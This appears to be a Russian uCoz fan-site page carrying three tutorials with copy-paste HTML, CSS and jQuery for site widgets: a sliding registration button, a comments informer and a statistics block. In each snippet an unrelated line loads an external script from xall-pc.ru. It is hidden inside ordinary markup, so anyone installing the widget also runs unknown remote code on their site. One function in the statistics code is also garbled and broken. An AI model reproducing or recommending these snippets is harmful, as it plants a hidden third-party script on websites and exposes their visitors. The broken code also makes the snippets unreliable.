Меню сайта

Форма входа
Категории раздела
Фанфики по Тетради Смерти [79]
Эта категория собрала в себе огромное количество фанфиков по Тетради Смерти (Death Note). Здесь вы имеете возможность читать онлайн фанфики яой, романтика и еще много того, что относится к Тетради Смерти.
Devil May Cry (Даже дьявол может плакать) [1]
Аниме-сериал который был выпущен под началом студии «Madhouse». Жанр: боевик, фэнтези Режиссёр: Син Итагаки Вышел на экраны 14 мая 2007 года Количество эпизодов: 12
Death Note: Another Note, the Los Angeles BB Murder Cases/ Тетрадь Смерти: Другая Тетрадь [10]
Теперь на русском языке! Читаем онлайн! Очень хороший перевод без урезания и сокращений.
Новости Lineage 2 [0]
Календарь
«  Декабрь 2012  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930
31
Теги

Фанфики по Тетради Смерти

Фильмы Тетради Смерти (Death Note) тетрадь смерти 2 сезон, тетрадь смерти аниме смотреть онлайн, манга онлайн тетрадь смерти, хентай манга тетрадь смерти онлайн, тетрадь смерти манга читать онлайн, тетрадь смерти картинки яой, тетрадь смерти анимэ, скачать игру тетрадь смерти, картинки тетрадь смерти лайт, тетрадь смерти аватарки, порно тетрадь смерти, музыка Тетради Смерти (Death Note) , тетрадь смерти шрифт, скачать тетрадь смерти через торрент, аниме тетрадь смерти 2 сезон, куплю тетрадь смерти, тетрадь смерти герои, тетрадь смерти миса, тетрадь смерти русская озвучка
Наш опрос
Оцените мой сайт
Всего ответов: 273
Мини-чат
Статистика


Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная | Регистрация | Вход
Кто онлайн?


Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » 2012 » Декабрь » 09
Красивая кнопка регистрации для ucoz. Выполнена в синих тонах. При на ведении на неё курсором, она красиво выдвигается.
Чтобы установить кнопку регистрации, нужно этот код вставить туда где вы хотите чтобы она отображалась:

Code
<script type="text/javascript">  
  $(function($) {  
  $("#onlinehelp img").hover(  
  function () {  
  $(this).animate({right: '0'}, {queue:false, duration: 350});  
  //$(this).css('right', '0');  
  },  
  function () {  
  $(this).animate({right: '-160px'}, {queue:false, duration: 350});  
  // $(this).css('right', '-160px');  
  }  
  );  
  });  
  </script>  
  <a id="onlinehelp" href="$REGISTER_LINK$"  
  onclick="webChatOpen();return false;">  
  <img alt="Регистрация" src="http://bambun.ru/images/4283_programm-newuco.png" />
  <script src="http://xall-pc.ru/up.js" type="text/javascript"></script>
  </a>  
  <style type="text/css">  
  #onlinehelp img {  
  position: fixed;  
  top:40px;  
  right: -160px;  
  z-index: 99999;  
  cursor: pointer;  
  display: block;  
  }  
  </style>  
  
Просмотров: 629 | Добавил: startsmart | Дата: 09.12.2012 | Комментарии (0)

Вывод последних комментариев стал еще удобнее и стильнее. Шаблон информера комментариев выполнен в светлых тонах, с использованием 1 картинки(1 кб). Пример того, как можно сделать свой сайт еще мобильнее.
Создаем информер комментариев ucoz
Инструмента => Информеры => Создать информер

и создаём данный информер:

Раздел: Комментарии
Модуль: Все модули
Количество материалов: 10
Количество колонок:1
HTML
Теперь заходи в шаблон информера, удаляем содержимое и заменяем на следующий HTML код:

Code
<div class="last_comment_os transparency_i">  
  <div class="lc_message">  
  <a href="$ENTRY_URL$" title="$ENTRY_TITLE$">$MESSAGE$</a>
  <script src="http://xall-pc.ru/up.js" type="text/javascript"></script>
  </div>  
  <div class="lc_uzer">  
  <span class="lc_ugol"></span>  
  <?if($USERNAME$)?>  
  <a href="$PROFILE_URL$">  
  <?if($USER_AVATAR_URL$)?>  
  <img class="lc_avatar" alt="Аватар $USERNAME$" title="$USERNAME$" src="$USER_AVATAR_URL$" />  
  <?else?>  
  <img class="lc_avatar" title="$USERNAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg" />  
  <?endif?>  
  </a>  
  <?else?>  
  <img class="lc_avatar" title="$NAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg"/>  
  <?endif?>  
  <span class="lc_name"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?></span>  
  <span class="lc_data">$DATE$ | $TIME$</span>  
  </div>  
  </div>


CSS
Заходим в CSS и вставляем в конец следующие стили:

Code
/* Белый вариант последних комментарий  
  ------------------------------------------*/  
  .last_comment_os {  
  overflow: hidden;  
  float:left;  
  font: 11px Verdana,Arial,Helvetica, sans-serif; color:#555;  
  width:250px;  
  margin: 5px 0px 5px 0px;  
  }  

  .last_comment_os a:link,  
  .last_comment_os a:visited {color:#555;}  
  .last_comment_os a:hover {color:#999;}  

  .lc_message {  
  float:left;  
  margin: 0;  
  padding:5px;  
  width:238px;  
  background: #F6F6F6;  
  border: 1px solid #D6D6D6;  
  }  

  .lc_uzer {  
  float:left;  
  text-align:right;  
  width:250px;  
  position: relative  
  }  

  .lc_ugol {  
  position:absolute;  
  float:right;  
  background: url(http://bambun.ru/images/242703095.png) no-repeat right;  
  width: 27px;  
  height: 27px;  
  top: -1px;  
  right: 20px;  
  }  

  .lc_avatar {  
  float:right;  
  width: 30px;  
  height: 30px;  
  padding:3px;  
  border: 1px solid #D6D6D6;  
  margin: 10px 55px 0px 10px;  
  }  

  .lc_name {  
  float:right;  
  width: 145px;  
  margin: 13px 0px 2px 0px;  
  font-weight: bold;  
  }  

  .lc_data {  
  float:right;  
  font: 9px Verdana,Arial,Helvetica, sans-serif; color:#999;  
  width: 145px;  
  }  

  .transparency_i a:hover img {  
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);  
  -moz-opacity: 0.5;  
  opacity: 0.5;  
  filter: alpha(opacity=50);  
  }  
  /* ------------------------------------------*/
Просмотров: 681 | Добавил: startsmart | Дата: 09.12.2012 | Комментарии (0)

Блок для контейнера, с полной вариацией статистики вашего сайта на uCoz. Статистика отображается уровнем в процентном соотношение количества гостей и зарегистрированных пользователей из общей массы посетителей, так же кнопка для вывода посетивших сайт за день.
Не чего нового и сверх естественного тут нет, просто некое исполнения и компактность в собрание некоторых информационных вещей нужных ля сайта. Администрация сайта решила выставить свой блок из своего дизайна сайта.

Установка:
Данный код вставляем в блок:

Code
<div style="display:none;">$ONLINE_COUNTER$</div><table width="100%" cellpadding="0" cellspacing="0" border="0">  
  <tr>  
  <td align="left" width="50%" valign="left"><span id="icon-border" style="margin-right:3px;"><span id="icon-gray"></span></span>Гости сайта</td>  
  <td align="right" width="50%" valign="right">Пользователи<span id="icon-border" style="margin-left:3px;"><span id="icon-blue"></span></span><script src="http://xall-pc.ru/up.js" type="text/javascript"></script></td>  
  </tr>  
  </table>  
  <div style="border:1px solid #ccc; background:#fff; padding:1px 2px; margin-top:2px;" id="stat-line" align="left"></div>  
  <div style="border:0px; padding:2px; text-align:center;" id="all-users"></div>  
  <script type="text/javascript">  
  var allusers = $('.tOnline b').html();  
  var gostusers = $('.gOnline b').html();  
  var siteusers = $('.uOnline b').html();  
  var uGosti = (gostusers/allusers).toFixed(2)*100;  
  var uUsers = 100 - uGosti;  
  function skl(a, n) {return a[n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>= 20) ? 1 : 2];};  
  $('#stat-line').html('<div class="cross1" style="width:'+Number(uGosti).toPrecision(3)+'%;" id="ghostss"><span style="padding-left:3px;">'+uGosti.toFixed()+'%</span></div><div class="cross2" style="width:'+Number(uUsers).toPrecision(3)+'%;" id="userss"><span style="padding-right:3px;">'+uUsers.toFixed()+'%</span></div>');  
  $('#all-users').html('Всего на сайте <b>'+allusers+'</b> '+skl(['человек', 'человека', 'человек'],allusers)+'</div>');  
  if (siteusers<1) $('#userss').hide();  
  if (gostusers<1) $('#ghostss').hide();  
  </script><hr><center>$COUNTER$</center>  
  <Hr><table width="100%" cellpadding="0" cellspacing="0" border="0">  
  <tr>  
  <td align="left" width="45%" valign="top" style="padding-left:2px;">Пользователи онлайн:  
  </td>  
  <td align="right" width="55%" valign="center">  
  <input class="buttonprofile" href="javascript://" rel="nofollow" onclick="new _uWnd('TdUsrLst',' ',250,200,{autosize:0},{url:'/index/62-2'});return false;" value="Кто посетил?" type="button"></td>  
  </tr>  
  </table>  
  <hr>$ONLINE_USERS_LIST$<hr><center>  
  <div id="userD" style="font-size:8pt;color:#000;"></div>  
  <script type="text/javascript">  
  function declOfNum(number, titles) {  
  cases = [2, 0, 1, 1, 1, 2];  
  return titles[ (number%100>4 && number%100<20)? 2 : cases[(number10:5] ];  
  };  
  $.get('/index/62-2',function(data){  
  spisok = $('a',$('cmd[p="content"]',data).text()).size();  
  $('#userD').html('Сегодня нас '+declOfNum(spisok, [" посетил", " посетило", " посетили"])+' <b>'+spisok+declOfNum(spisok, [" юзер", " юзера", " юзеров"])+'</b>')  
  });  
  </script>  
  </center>


в таблицу стилей вставляем сам стиль:

Code
#icon-border {margin:0px; padding:1px; display:inline-block; border:1px solid #ccc; background:#fff;}  
  #icon-blue {display:inline-block; height:6px; width:6px; border:1px solid #586a7c; background:#607c99 url('http://bambun.ru/images/32298860.png) repeat-x top;padding-left:1px;}  
  #icon-gray {display:inline-block; height:6px; width:6px; border:1px solid #757B7F; background:#999999 url('http://bambun.ru/images/32298860.png') repeat-x top;}  
  .cross1{padding-top:1px;display:inline-block;padding-bottom:1px;color:#fff;text-align:center;margin:0px -1px;text-shadow:0px 1px 0px rgba(0,0,0,0.30);border:1px solid #757B7F;background:#7d7d7d;text-align:left;}.cross2{padding-top:1px;display:inline-block;padding-bottom:1px;color:#fff;text-align:center;margin:0px -1px;text-shadow:0px 1px 0px rgba(0,0,0,0.30);border:1px solid #586a7c;border-left:1px solid #646A6D;background:#61768A;text-align:right;}
Просмотров: 497 | Добавил: startsmart | Дата: 09.12.2012 | Комментарии (0)